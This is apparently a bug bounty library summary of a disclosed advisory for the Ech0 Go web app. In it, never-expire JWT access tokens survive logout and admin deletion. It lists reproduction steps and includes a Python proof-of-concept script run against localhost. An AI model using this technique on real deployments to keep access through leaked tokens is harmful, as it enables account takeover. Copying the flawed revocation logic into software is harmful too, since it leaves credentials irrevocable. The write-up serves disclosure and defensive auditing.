# ech0's acess tokens with expiry=never cannot be revoked: logout panics, delete does not blacklist JTI

Ech0 never-expire access tokens lack an exp claim, so logout panics on nil ExpiresAt and admin delete skips JTI blacklisting, leaving leaked tokens valid forever.

- Payout: Research
- Severity: high
- Program: Ech0
- Found by: adrgs, aisafe-bot
- Disclosed: 2026-05-07
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-fpw6-hrg5-q5x5
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-fpw6-hrg5-q5x5
- Tags: area:web domain:web impact:ato impact:privesc kind:research platform:ghsa sev:high tech:go tech:jwt technique:source-review vuln:access-control vuln:auth-bypass vuln:misconfiguration

**Target:** Go web app JWT auth (logout and access-token admin endpoints)
**Root cause:** Tokens created with expiry=never omit the exp claim; logout dereferences nil claims.ExpiresAt and panics, RevokeToken skips when remainTTL<=0, and admin delete removes the DB row without blacklisting the JTI.
**Steps:**
1. Create a never-expire token: `POST /api/access-tokens` with `{"name":"poc-irrevocable","expiry":"never","scopes":["profile:read"],"audience":"cli"}`; decode JWT payload, confirm no `exp` claim.
2. Confirm token works: `GET /api/user` with `Authorization: Bearer <tok>` returns 200.
3. Attempt logout: `POST /api/auth/logout` with the token returns HTTP 500 (panic on nil ExpiresAt), JTI never blacklisted.
4. Admin deletes token: `DELETE /api/access-tokens/{id}` returns 200 success.
5. Reuse same JWT: `GET /api/user` still returns 200 with owner profile data.
**How found:** Code review of the JWT creation conditional (expiry>0) revealed no exp claim for NEVER_EXPIRY, then tracing each revocation path (logout, RevokeToken, admin delete) showed all three fail for this token class.
**Exploitation:** Attacker who obtains a leaked never-expire token (committed config, compromised laptop, leaked logs) keeps perpetual authenticated access at the token's scopes; admin's delete/revoke UI removes the row but the bearer keeps working, and the only real fix is rotating JWT_SECRET instance-wide.
**Escalation:** Token scopes determine blast radius; owner-created tokens yield admin-level profile access as shown.
**Insight:** When a product offers a 'never expire' credential option, audit every revocation path against the missing exp claim: nil-deref panics in logout, TTL<=0 early returns in blacklist writers, and admin delete handlers that drop DB rows without blacklisting the JTI.

## Proof of concept (copied exactly from the original report)

**Python PoC script for irrevocable token**

```
import requests, base64, json
TARGET = "http://localhost:8300"

owner = requests.post(f"{TARGET}/api/login",
                      json={"username": "owner", "password": "owner-pw"}
                     ).json()["data"]["access_token"]

# 1) Create a never-expire access token.
r = requests.post(f"{TARGET}/api/access-tokens",
                  headers={"Authorization": f"Bearer {owner}",
                           "content-type": "application/json"},
                  json={"name": "poc-irrevocable",
                        "expiry": "never",
                        "scopes": ["profile:read"],
                        "audience": "cli"})
tok = r.json()["data"]
pad = lambda s: s + "=" * (-len(s) % 4)
payload = json.loads(base64.urlsafe_b64decode(pad(tok.split(".")[1])))
print(f"  exp claim: {payload.get('exp')}  (None = never expires)")
print(f"  jti: {payload['jti']}")

# 2) Confirm it works.
r = requests.get(f"{TARGET}/api/user", headers={"Authorization": f"Bearer {tok}"})
print(f"  token -> /api/user: HTTP {r.status_code}")

# 3) Failure mode #1 — logout panics on nil ExpiresAt.
r = requests.post(f"{TARGET}/api/auth/logout",
                  headers={"Authorization": f"Bearer {tok}"})
print(f"  logout: HTTP {r.status_code} (500 = Recovery middleware caught the panic)")

# 4) Failure mode #3 — admin delete does not blacklist the JTI.
listed = requests.get(f"{TARGET}/api/access-tokens",
                      headers={"Authorization": f"Bearer {owner}"}).json()["data"]
poc_row = next(t for t in listed if t["name"] == "poc-irrevocable")
r = requests.delete(f"{TARGET}/api/access-tokens/{poc_row['id']}",
                    headers={"Authorization": f"Bearer {owner}"})
print(f"  admin delete: HTTP {r.status_code} {r.text}")

# 5) Token should now be invalid if delete blacklisted. Test it.
r = requests.get(f"{TARGET}/api/user", headers={"Authorization": f"Bearer {tok}"})
print(f"  after delete, token -> /api/user: HTTP {r.status_code}")
print(f"  response body: {r.text[:150]}")
```

